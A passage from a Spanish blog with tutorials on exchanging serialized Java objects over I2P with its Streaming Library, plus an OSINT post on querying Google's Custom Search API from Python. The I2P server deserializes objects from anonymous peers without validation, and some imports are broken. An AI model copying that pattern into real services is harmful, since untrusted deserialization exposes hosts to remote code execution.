No obstante, cuando se navega por Internet en busca de información sobre el uso avanzado de está librería normalmente es muy complicado encontrar detalles técnicos que permitan adentrarse en su uso y casi en todos los casos, se implementa el típico ejemplo del servidor “echo”, en el que existe un cliente que actúa como emisor, un servidor que actúa como receptor y el receptor devuelve los mensajes de texto que envía el emisor, funcionando como un servidor “echo” muy simple, no obstante, uno de los principales beneficios con los que cuenta Java, es que tiene un sistema muy potente de serialización de objetos que permite compartir información entre diferentes JVM, algo que potencio enormemente la evolución de tecnologías tales como RMI, CORBA, JINI y posteriormente los tan conocidos EJB en el mundo de J2EE. En este caso, también es posible serializar objetos entre emisores y receptores I2P, lo que supone un abanico de posibilidades enorme a la hora de crear aplicaciones que utilicen la capa de anonimato que aporta I2P a sus usuarios, ya que se pueden crear objetos debidamente preparados para transmitir mucha más información que una cadena de texto. Para los que no lo sepáis, para poder serializar un objeto en Java, dicho objeto, sus atributos y todas las clases padre de las que hereda deben ser serializables también, lo cual se consigue implementando la interfaz “java.io.Serializable”, además, si alguno de los atributos de dicha clase no es serializable, debe utilizarse el modificador de acceso “transient” con el fin de indicarle a la JVM que dicho atributo debe utilizarse únicamente en el contexto de la JVM local y no se debe incluir en el proceso de serialización del objeto.
Dicho esto, queda claro que una de las labores más importantes a la hora de diseñar una aplicación que aproveche los beneficios de la Streaming Library, consiste precisamente en definir una estructura de objetos que contenga todas las relaciones y atributos necesarios para transmitir información entre los túneles de entrada y salida de la instancia de I2P. La estructura de clases en cuestión, además de ser serializable, debe de ser conocida por todos los “peers” que la utilicen, ya que de no ser así, un emisor puede enviar un objeto Java a un receptor, perfectamente serializado, pero dado que el receptor no cuenta el “.class” de la clase, simplemente no sabrá cómo se debe deserializar el objeto. Lo que normalmente se suele hacer, es distribuir un fichero JAR con todos los elementos necesarios en cada uno de los peers, esto quiere decir que aunque la comunicación entre todos los receptores y emisores en I2P sea descentralizada, tienen que haber elementos de comunicación comunes que les permitan comprender los mensajes que se transmiten por sus túneles, exactamente igual que ocurre con las normas que se definen en cualquier protocolo de red con el fin de garantizar la interoperabilidad en las capas de transporte y aplicación. Además de esto, los receptores y emisores deben conocer los “destinations” de las entidades con las que se desean comunicar. Es posible implementar un mecanismo de descubrimiento automático utilizando un servicio oculto en I2P que sea accesible únicamente por aquellas personas que se desean comunicar y en dicho servicio, cada uno podría depositar el “destination” correspondiente a su instancia de I2P con el fin de que otros usuarios puedan enviarse información.

Para el ejemplo de esta entrada, se creará en primer lugar una clase muy simple que funcionará simplemente como un contenedor de información, también conocido en la terminología de Java como un POJO (Plain Old Java Object) el cual simplemente contendrá algunos atributos básicos y una serie de métodos de establecimiento y acceso (setters y getters)

			
package net.privanon.common; 
public class UserInfo implements java.io.Serializable { 
	private String username; 
	private String name; 
	private String lastname; 
	private Integer age; 
	private String privateMessage;	 
	public void setUsername(String username) { 
		this.username = username; 
	} 
			
	public void setName(String name) { 
		this.name = name; 
	} 
	public void setLastname(String lastname) { 
		this.lastname = lastname; 
	} 
	public void setAge(Integer age) { 
		this.age = age; 
	} 
	public void setPrivateMessage(String privateMessage) { 
		this.privateMessage = privateMessage; 
	} 
	public String getUsername() { 
		return this.username; 
	} 
	public String getName() { 
		return this.name; 
	} 
	public String getLastname() { 
		return this.lastname; 
	} 
			
	public Integer getAge() { 
		return this.age; 
	} 
	public String getPrivateMessage() { 
		return this.privateMessage; 
	} 
} 

La clase en si misma no es demasiado interesante, sin embargo representa la piedra angular del proceso de transmisión de datos entre clientes y receptores, ya que contiene los atributos necesarios para obtener/establecer datos y además, implementa la interfaz Serializable, lo que le permitirá “moverse” libremente entre diferentes JVM.
Modificando un poco la estructura del programa receptor visto en el articulo anterior, el resultado final seria el siguiente.

package testing.i2p; 
import java.io.IOException; 
import java.io.InputStream; 
import java.io.OutputStream; 
import java.io.OutputStreamWriter; 
import java.io.InputStreamReader; 
import java.io.BufferedReader; 
import java.io.BufferedWriter; 
import java.io.ObjectOutputStream; 
import java.io.ObjectInputStream; 
import java.net.ConnectException; 
import java.net.SocketTimeoutException; 
import net.i2p.I2PException; 
import net.i2p.client.streaming.I2PSocket; 
import net.i2p.util.I2PThread; 
import net.i2p.client.I2PSession; 
import net.i2p.client.streaming.I2PServerSocket; 
import net.i2p.client.streaming.I2PSocketManager; 
import net.i2p.client.streaming.I2PSocketManagerFactory; 
import net.i2p.client.I2PSessionException; 
import net.privanon.common; 
			
public class Server { 
    public static void main(String[] args) { 
        I2PSocketManager manager =
			I2PSocketManagerFactory.createManager(); 
        I2PServerSocket serverSocket =
			manager.getServerSocket(); 
        I2PSession session = manager.getSession(); 
	System.out.println(session.getMyDestination().toBase64()); 
        I2PThread t = new I2PThread(new
			ClientHandler(serverSocket)); 
        t.setName("clienthandler1"); 
        t.setDaemon(false); 
        t.start(); 
    } 
			
    private static class ClientHandler implements Runnable { 
        public ClientHandler(I2PServerSocket socket) { 
            this.socket = socket; 
        } 
			
        public void run() { 
            while(true) { 
                try { 
                    I2PSocket sock = this.socket.accept(); 
                    if(sock != null) { 
			    ObjectOutputStream oos = new
			ObjectOutputStream(sock.getOutputStream()); 
			    ObjectInputStream ois = new
			ObjectInputStream(sock.getInputStream()); 
				UserInfo info = null; 
			    while ((info = (UserInfo) ois.readObject()) != null) { 
				      if(info != null && info.getUsername() != null
			&& info.getUsername().equals("Adastra")) { 
						UserInfo response = new UserInfo(); 
				   	        response.setName("unknown"); 
					        response.setLastname("unknown"); 
  					        response.setUsername("unknown"); 
					        response.setAge(0); 
					        response.setPrivateMessage("Send the report
			and close the operation");				 
						oos.writeObject(response);		 
 				       } 
			    } 
			    ois.close(); 
			    oos.close(); 
			    sock.close(); 
                    } 
                } catch (I2PException ex) { 
                    System.out.println("General I2P
			exception!"); 
                } catch (ConnectException ex) { 
                    System.out.println("Error
			connecting!"); 
                } catch (SocketTimeoutException ex) { 
                    System.out.println("Timeout!"); 
                } catch (IOException ex) { 
                    System.out.println("General
			read/write-exception!"); 
                } catch (ClassNotFoundException ex) { 
                    System.out.println("Class Not found
			exception!"); 
                } 
            } 
        } 
        private I2PServerSocket socket; 
    } 
} 

Hay que notar que las principales diferencias se pueden ver en el uso de la clase “UserInfo” que se ha creado anteriormente y la serialización/deserialización de dicho objeto utilizando las clases ObjectOutputStream y ObjectInputStream. En este caso, se deserializa el objeto recibido por el emisor, se realiza una verficación muy simple sobre el nombre del usuario y a continuación, se responde al emisor con un objeto del mismo tipo.

Por otro lado, el receptor por su parte puede tener una estructura como la siguiente:

package testing.i2p; 
import java.io.BufferedReader; 
import java.io.BufferedWriter; 
import java.io.IOException; 
import java.io.InputStreamReader; 
import java.io.InterruptedIOException; 
import java.io.OutputStream; 
import java.io.OutputStreamWriter; 
import java.net.ConnectException; 
import java.net.NoRouteToHostException; 
import net.i2p.I2PException; 
import net.i2p.client.streaming.I2PSocket; 
import net.i2p.client.streaming.I2PSocketManager; 
import net.i2p.client.streaming.I2PSocketManagerFactory; 
import net.i2p.data.DataFormatException; 
import net.i2p.data.Destination; 
import java.io.ObjectOutputStream; 
import java.io.ObjectInputStream; 
import net.privanon.common; 
			
public class Client { 
    public static void main(String[] args) { 
        I2PSocketManager manager =
			I2PSocketManagerFactory.createManager(); 
        System.out.println("Please enter a Destination:");
        BufferedReader br = new BufferedReader(new
			InputStreamReader(System.in)); 
        String destinationString; 
        try { 
            destinationString = br.readLine(); 
        } catch (IOException ex) { 
            System.out.println("Failed to get a
			Destination string."); 
            return; 
        } 
        Destination destination; 
        try { 
            destination = new Destination(destinationString); 
        } catch (DataFormatException ex) { 
            System.out.println("Destination string
			incorrectly formatted."); 
            return; 
        } 
        I2PSocket socket; 
        try { 
            socket = manager.connect(destination); 
        } catch (I2PException ex) { 
            System.out.println("General I2P exception
			occurred!"); 
            return; 
        } catch (ConnectException ex) { 
            System.out.println("Failed to connect!");
            return; 
        } catch (NoRouteToHostException ex) { 
            System.out.println("Couldn't find host!");
            return; 
        } catch (InterruptedIOException ex) { 
            System.out.println("Sending/receiving was
			interrupted!"); 
            return; 
        } 
        try { 
	    ObjectOutputStream oos = new
			ObjectOutputStream(socket.getOutputStream()); 
   	    UserInfo info = new UserInfo(); 
   	    info.setName("Ad"); 
            info.setLastname("Astra"); 
            info.setUsername("Adastra"); 
            info.setAge(30); 
            info.setPrivateMessage("exposure done. Waiting
			for indications"); 
	    oos.writeObject(info); 
	   ObjectInputStream ois = new
			ObjectInputStream(socket.getInputStream()); 
		UserInfo response = null; 
	    while ((response = (UserInfo) ois.readObject()) != null) {
		      System.out.println("Name: "+
			response.getName()); 
		      System.out.println("Last Name: "+
			response.getLastname()); 
		      System.out.println("Username: "+
			response.getUsername()); 
		      System.out.println("Age: "+
			response.getAge()); 
		      System.out.println("Private message: "+
			response.getPrivateMessage()); 
	    } 
	    ois.close(); 
oos.close(); 
	    socket.close(); 
        } catch (IOException ex) { 
            System.out.println("Error occurred while
			sending/receiving!"); 
        }  catch (ClassNotFoundException ex) { 
                    System.out.println("Class Not found
			exception!"); 
                } 
    } 
} 

Nuevamente, las diferencias más destacables entre el programa emisor del articulo anterior y éste, se centran en la serialización/deserializacion de la clase “UserInfo” por medio de los objetos ObjectInputStream y ObjectOutputStream.

Después de iniciar I2P y de ejecutar tanto el emisor como el receptor, se puede ver el flujo de datos transmitidos entre ambas entidades en la siguiente imagen.

streaming1

 

Aunque ambos programas se ejecutan en la misma máquina y sobre la misma instancia de I2P, el funcionamiento será el mismo en instancias y máquinas separadas.

Otro escenario interesante en el que también se puede utilizar la Streaming Library, es en el desarrollo de plugins que se puedan desplegar directamente desde la consola de administración de I2P. Sobre estas cosas hablaré en un próximo articulo.

Saludos y Happy Hack!
Adastra.

Uso de Streaming Library para aplicaciones en I2P

mayo 6, 2015 2 comentarios

Se ha hablado en varias ocasiones sobre los beneficios que aporta I2P al anonimato y en alguna ocasión se ha hablado sobre cómo crear rutinas simples que permitan acceder a I2P utilizando la librería “Streming Library”, la cual se encuentra escrita en Java. Si quieres hacer cualquier tipo de prueba con Python contra I2P, actualmente hay pocas librerías que realmente te lo permitan y que sean estables. Por lo que he podido apreciar en los foros oficiales de desarrolladores, al parecer las personas clave en el desarrollo de plugins, utilidades y el propio core de la red no muestran mucho interés en desarrollar otra librería en un lenguaje distinto para hacer lo que sobradamente ya hace la Streaming Library y francamente tienen toda la razón del mundo, ya que tienen un “roadmap” con cientos de frentes abiertos y es mucho más interesante crear cosas nuevas y mejorar las existentes que reinventar la rueda. Al equipo de I2P le ha costado muchísimo desarrollar la Streaming Library y la cantidad de errores que se reportaban al principio era enorme, es normal que después del número de horas invertidas y el nivel de estabilidad en el que se encuentra ahora, haya sido declarada como la librería de referencia para crear aplicaciones que requieran el uso del protocolo de control de I2P (I2CP) sobre TCP. No obstante, seguimos con los mismos problemas:

1. Aun sigue siendo poca, muy poca la documentación sobre su uso. Si realmente quieres aprender los elementos clave de la librería, tienes que meterte en los JavaDocs y empezar a crear un mapa mental de como están relacionadas las clases y cómo puedes usarlas.

2. Si eres un desarrollador en Python o tienes alguna herramienta para acceder a la web profunda de I2P aunque sea para consultar “Destinations”. Bueno, lo tienes un poco complicado por lo que comentaba antes. Aunque existe el proyecto python-i2cp (https://github.com/majestrate/python-i2cp) para utilizar directamente el protocolo interno de I2P, pero no avanza al ritmo que se esperaría y aun no funciona correctamente a la hora de consultar un destination. Además, utilizar directamente I2CP está desaconsejado por el equipo de I2P. Nos queda utilizar Jython o la JSR de Java correspondiente para ejecutar código de scripting con Python desde la máquina virtual de Java.

Es este artículo intentaré centrarme en el primer punto y explicaré algunas características interesantes en Streaming library para Java y en un próximo articulo, intentaré explicar algunas alternativas a la hora de acceder a I2P desde Python.

No en todos los casos resulta viable utilizar la Streaming Library de I2P, pero por norma general, cuando se habla de aplicaciones punto a punto, como es el caso de descargas de torrents y cosas similares, resulta bastante conveniente y óptimo utilizar esta librería, de hecho, un ejemplo bastante claro lo tenemos con el proyecto I2PSnark, un cliente bittorrent que utiliza la Streaming Library para descargar y compartir torrents utilizando la red de I2P. El código fuente del proyecto se encuentra licenciado con la GNU/GPL y se está disponible en el siguiente repositorio GitHub: https://github.com/i2p/i2p.i2p/tree/master/apps/i2psnark Si se mira con atención las clases y métodos que se incluyen en el proyecto, es mucho más fácil comprender el funcionamiento de la Streaming Library y cómo utilizarla.

En primer lugar, cualquier rutina de código utilizando esta librería puede funcionar en uno de dos modos, o bien como cliente que consulta “destinations” (un destino en I2P es similar a la combinación de una dirección IP y un puerto) o simplemente como servidor. Las principales clases disponibles en la API son “wrappers” de las clases SocketServer y Socket de Java, aunque evidentemente las clases en la Streaming Library adicionan las funcionalidades necesarias para que todas las conexiones se lleven a cabo utilizando la red de I2P.
Por otro lado, en una instancia de I2P, un programa escrito en Java y utilizando la Streaming Library puede actuar como emisor o receptor (recordar que I2P es una red que basada en paquetes y no en circuitos como TOR), con lo cual desde un programa se puede generar el “destination” para que otros usuarios envíen paquetes a la instancia o se pueden buscar (lookup) destinos y enviarles paquetes. El siguiente código sería la clase más simple que se puede crear utilizando la Streaming Library para crear un emisor.

import net.i2p.client.streaming.I2PSocket;
import net.i2p.client.I2PSession;
import net.i2p.client.streaming.I2PServerSocket;
import net.i2p.client.streaming.I2PSocketManager;
import net.i2p.client.streaming.I2PSocketManagerFactory; 

public class Server {
	public static void main(String[] args) {
		I2PSocketManager manager = I2PSocketManagerFactory.createManager();
		I2PServerSocket serverSocket = manager.getServerSocket();
		I2PSession session = manager.getSession();
System.out.println(session.getMyDestination().toBase64());
	}
}

Como se puede apreciar, se crea una instancia de la clase “I2PSocketManager” utilizando la factoría “I2PSocketManagerFactory” y posteriormente se crea un objeto “I2PServerSocket”, el cual será utilizado para atender a las peticiones de otros usuarios en la red de I2P. Finalmente, se pinta por pantalla el destination local del proceso recién iniciado. La clase “net.i2p.data.Destination” cuenta con los métodos “toBase64” y “toBase32” que serán utilizados por el cliente para comunicarse con la instancia de I2P.

El código anterior solamente se encarga de obtener una sesión I2P y pintar por pantalla el destination generado, pero una vez hecho esto, el hilo principal del programa termina. Las siguientes instrucciones que se deben añadir, deben permitir que el proceso se quede en estado de escucha para procesar los mensajes que envían los clientes, para ello la clase I2PThread permite crear un hilo de ejecución ininterrumpido que permitirá al emisor actuar como servidor y recibir mensajes.

import net.i2p.client.I2PSession;
import net.i2p.client.streaming.I2PServerSocket;
import net.i2p.client.streaming.I2PSocketManager;
import net.i2p.client.streaming.I2PSocketManagerFactory;
import net.i2p.util.I2PThread;
public class Server {
	public static void main(String[] args) {
		I2PSocketManager manager = I2PSocketManagerFactory.createManager();
		I2PServerSocket serverSocket = manager.getServerSocket();
		I2PSession session = manager.getSession();
System.out.println(session.getMyDestination().toBase64());
		I2PThread thread = new I2PThread(new
			ClientHandler(serverSocket));
		thread.setDaemon(false);
		thread.start();
	}
	private static class ClientHandler implements Runnable {
		private I2PServerSocket socket;
		public ClientHandler(I2PServerSocket socket) {
			this.socket = socket;
		}
		public void run() {
			while(true) {
		//Procesar las conexiones de los clientes.
                        }
                }
	}
}

En este caso se crea una nueva clase que procesará los mensajes de los clientes de forma indefinida en un bucle “while true”. En dicho bucle se aceptarán las conexiones de los clientes por I2P y posteriormente, se realizará algún tipo de procesamiento, el cual, típicamente consiste en recibir las conexiones por parte de los clientes y responder a los mensajes.

	while(true) {
		try {
			I2PSocket sock = this.socket.accept();
			if(sock != null) {
				//Receive
				BufferedReader br = new BufferedReader(new InputStreamReader(sock.getInputStream()));
				//Send
				BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
				String line = br.readLine();
				if(line != null) {
                                    System.out.println(line);
                                    bw.write(line);
			            bw.flush();
				}
				sock.close();
			}
		} catch (I2PException ex) {
		System.out.println("General I2P exception!");
		} catch (ConnectException ex) {
		System.out.println("Error connecting!");
		} catch (SocketTimeoutException ex) {
                System.out.println("Timeout!");
		} catch (IOException ex) {
                System.out.println("read/write-exception!");
		}
       }

Por otro lado, el cliente debe conocer cuál es la dirección (destination) del emisor para poder transmitirle un mensaje y recibir su respuesta. El código necesario en la parte del cliente es mucho más simple, ya que solamente requiere utilizar la clase I2PSocket y conectarse con el destination especificado.

package testing.i2p;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.InterruptedIOException;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.ConnectException;
import java.net.NoRouteToHostException;
import net.i2p.I2PException;
import net.i2p.client.streaming.I2PSocket;
import net.i2p.client.streaming.I2PSocketManager;
import net.i2p.client.streaming.I2PSocketManagerFactory;
import net.i2p.data.DataFormatException;
import net.i2p.data.Destination; 

public class Client {
	public static void main(String[] args) {
		I2PSocketManager manager =
I2PSocketManagerFactory.createManager();
		System.out.println("Destination:");
		BufferedReader br = new BufferedReader(new
			InputStreamReader(System.in));
		String destinationString;
		try {
			destinationString = br.readLine();
		} catch (IOException ex) {
			System.out.println("Failed to get the Destination.");
			return;
		}
		Destination destination;
		try {
			destination = new Destination(destinationString);
		} catch (DataFormatException ex) {
			System.out.println("Destination string incorrectly formatted.");
			return;
		}
		I2PSocket socket;
		try {
			socket = manager.connect(destination);
		} catch (I2PException ex) {
			System.out.println("General I2P exception occurred!");
			return;
		} catch (ConnectException ex) {
			System.out.println("Failed to connect!");
			return;
		} catch (NoRouteToHostException ex) {
			System.out.println("Couldn't find host!");
			return;
		} catch (InterruptedIOException ex) {
			System.out.println("Sending/receiving was interrupted!");
			return;
		}
		try {
			//Write to server
			BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
			bw.write("Hello I2P!\n");
			BufferedReader br2 = new BufferedReader(new
		InputStreamReader(socket.getInputStream()));
			String s = null;
			while ((s = br2.readLine()) != null) {
				System.out.println("Received from server: " + s);
			}
			socket.close();
		} catch (IOException ex) {
			System.out.println("Error occurred while
			sending/receiving!");
		}
	}
}

El código anterior es la base para crear cosas mucho más elaboradas, por ejemplo, en lugar de utilizar las clases BufferedReader y BufferedWriter se podría utilizar clases como ObjectInputStream y ObjectOutputStream que permiten enviar objetos serializados (aquellos que extienden de la interfaz java.io.Serializable) y de esta forma, construir aplicaciones muy robustas al interior de I2P. Por otro lado, también se puede utilizar para crear plugins que se puedan desplegar directamente desde la consola de administración de I2P. Sobre estas cosas hablaré en un próximo articulo.

Saludos y Happy Hack!
Adastra.

Recolección de información con OSINT Parte 2 – Usando Google Hacking Python Client

abril 16, 2015 1 comentario

En el post anterior se ha visto la forma en la que se puede utilizar la librería python-twitter para acceder al inmenso volumen de información almacenada en Twitter. Dicha librería es capaz de utilizar los servicios REST que dispone Twitter para que los desarrolladores puedan acceder a su plataforma de forma programática. Así es posible extraer información sobre cuentas públicas en Twitter y realizar búsquedas aplicando varios criterios. En este artículo mencionaré otra librería frecuentemente utilizada en procesos relacionados con OSINT, dicha librería es “google-api-python-client”. Se trata de una librería que cuenta con clases y utilidades para extraer información pública contenida en varios de los servicios de Google.
El proceso de instalación de esta librería es bastante trivial y se puede llevar a cabo utilizando “pip”, “easy_install” o tirando directamente del código fuente que se encuentra alojado en la siguiente ruta: https://github.com/google/google-api-python-client. No obstante, además de instalar la librería también es necesario crear una aplicación de consola de Google, para lo cual es necesario tener una cuenta valida. Para aquellos que nunca han creado una aplicación desde el gestor de de aplicaciones de Google, a continuación se explica el procedimiento a seguir.

Creando una aplicación con Google Developers Console.

Con una cuenta de Google valida y estando autenticado en cualquiera de sus servicios (como por ejemplo Gmail), es posible utilizar la consola de administración de aplicaciones que Google dispone para los desarrolladores. Dicha consola se encuentra disponible en el siguiente enlace: https://console.developers.google.com y como se puede apreciar en la siguiente imagen, después de pinchar sobre el botón “Create Project” se debe poner un nombre al proyecto y un identificador único. El identificador lo puede generar Google por ti o puedes ingresar uno propio.

osint2-1

Una vez creada la aplicación, el siguiente paso consiste en activar los servicios que se desea utilizar. La lista es bastante larga y cada servicio corresponde a una temática muy concreta, por ejemplo, es posible activar Calendar API, Books API, Drive API, BigQuery API, Custom Search API, etc. Si el lector está interesando en ver todas las aplicaciones a las que se puede acceder de forma programática utilizando la librería, puede ver el listado del siguiente enlace: https://developers.google.com/api-client-library/python/apis/.

El proceso de activación de cualquiera de las APIs disponibles es bastante simple y con una cuenta gratuita se incluyen varias características que en la mayoría de los casos son más que suficientes. Por ejemplo, el servicio de búsquedas de Google es “Custom Search API” y tiene una limitación de 1000 búsquedas al día, algo que para fines no comerciales, resulta muy aceptable. Otro servicio interesante es el BigQuery API, en el que se puede utilizar la infraestructura de Google para realizar procesos de minería de datos y Big Data, algo de lo que os hablaré en un próximo artículo.
Para realizar las pruebas, se habilitará el servicio “Custom Search API” y posteriormente, se debe crear el conjunto de claves para poder consumir el servicio con las credenciales y la autorización necesaria. Para ello existe la opción “Credentials” bajo el menú “APIs & auth”.

 

osint2-2

Tal como se puede apreciar en la imagen anterior, es posible utilizar dos mecanismos de autenticación, por un lado podemos generar los tokens de OAuth2 o crear un identificador único para el acceso. La diferencia entre ambos mecanismos es que utilizando los tokens de OAuth se gestionan detalles de acceso y autorización, algo que resulta vital para ciertos servicios que requieren consentimiento por parte del creador de la aplicación para que otros usuarios puedan utilizarla, mientras que en el caso del identificador único de acceso, se hace una validación simple y en cualquier caso, a servicios que no requieran autorización previa, como es el caso de la ejecución de búsquedas simples utilizando el buscador de Google. El servicio de Custom Search API no necesariamente requiere autenticación Oauth, con lo cual se puede crear una nueva API Key. A la fecha de redactar este artículo la creación de una API solicita un tipo concreto de clave, entre los posibles valores a seleccionar se encuentran: “Server”, “Browser”, “Android”, “iOS”. Se debe seleccionar el tipo de clave dependiendo de la forma en la que la aplicación (que evidentemente actuará como cliente) se conectará al servicio de Google en cuestión. En este caso concreto se puede seleccionar “Server” y en tal caso, se solicitará restringir el acceso por dirección o segmento de direcciones IP, en el caso de no ingresar ningún valor, la API admitirá cualquier cliente sin importar su dirección IP.

Llegados a este punto, ya es posible comenzar a utilizar la librería y para ello, es necesario crear una instancia de la API de google por medio de la función “build” contenida en el módulo “apiclient.discovery”.

La función “build” recibe como argumentos el nombre del servicio que se desea utilizar, la versión y las credenciales de acceso al servicio. Por ejemplo, para acceder al servicio de Books API y Custom Search API, se utiliza la función de la siguiente forma:


serviceBooks = build('books', 'v1', developerKey=”<api_key>”)

serviceCustomSearch = build("customsearch","v1",developerKey="<api_key>")

Como se puede apreciar, crear una instancia de cualquier servicio es una tarea bastante simple, no obstante, no todos los servicios de Google se gestionan de igual manera y algunos de ellos, como es el caso de Custom Search API, es necesario crear un nuevo motor de búsqueda personalizado contra un sitio web en Internet y posteriormente, recuperar el identificador del motor creado o su URL pública para que puedan ejecutarse las peticiones correctamente contra el servicio. Para crear un motor de búsqueda personalizado de Google se debe ingresar al sitio de administración de motores ubicado en la siguiente ruta: https://www.google.com/cse/all

Desde allí se puede crear un motor y tal como se enseña en las siguientes imágenes, es necesario definir sobre cuáles sitios se deben realizar las búsquedas.

 osint2-3Creación de un motor de búsqueda personalizado.

 osint2-4Motor de búsqueda creado.

El siguiente paso para poder utilizar la API desde cualquier script en Python es el de obtener el identificador del motor de búsqueda, que tal como se enseña en la siguiente imagen, se encuentra disponible tras pinchar sobre el botón “ID de motor de búsqueda”.

osint2-5

Una vez obtenido el identificador del motor de búsqueda, se puede utilizar la única función definida en el servicio correspondiente a Custom Search API, la cual permitirá utilizar el motor para realizar búsquedas sobre los dominios previamente definidos.

from apiclient.discovery import build 
service = build("customsearch","v1",developerKey="<api_key>")

results= service.cse().list(q="python",
			cx="<id_engine>" ,num=10).execute()

Como se puede apreciar, utilizar Python para realizar una búsqueda sobre el servicio Custom Search API es bastante simple, solamente es necesario especificar el criterio de búsqueda, el identificador del motor y el número de resultados que se obtendrán de la consulta. Estas búsquedas son dirigidas contra uno o varios sitios concretos, lo que supone una ventaja a la hora de recolectar información concreta sobre, por ejemplo, los usuarios de redes sociales como Twitter o Facebook.

Los resultados devueltos se encuentran en formato JSON, pero la API hace la labor de convertir la cadena devuelta por el servicio en un diccionario que pueda ser tratado directamente desde Python.


from apiclient.discovery import build 

service = build("customsearch","v1",developerKey="<api_key>")
res = service.cse().list(q="python", cx="<id_engine>" ,num=10).execute()
print res.keys()
print res['url']
print res['queries']
print res['searchInformation']

Hasta este punto, solamente se han realizado búsquedas, sin embargo esto solamente es la punta del iceberg, ya que faltan labores mucho más complejas para analizar y relacionar la información obtenida. En próximas entradas se hablará un poco más sobre esto.

Saludos y Happy Hack!
Adastra.

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.615 seguidores

A %d blogueros les gusta esto: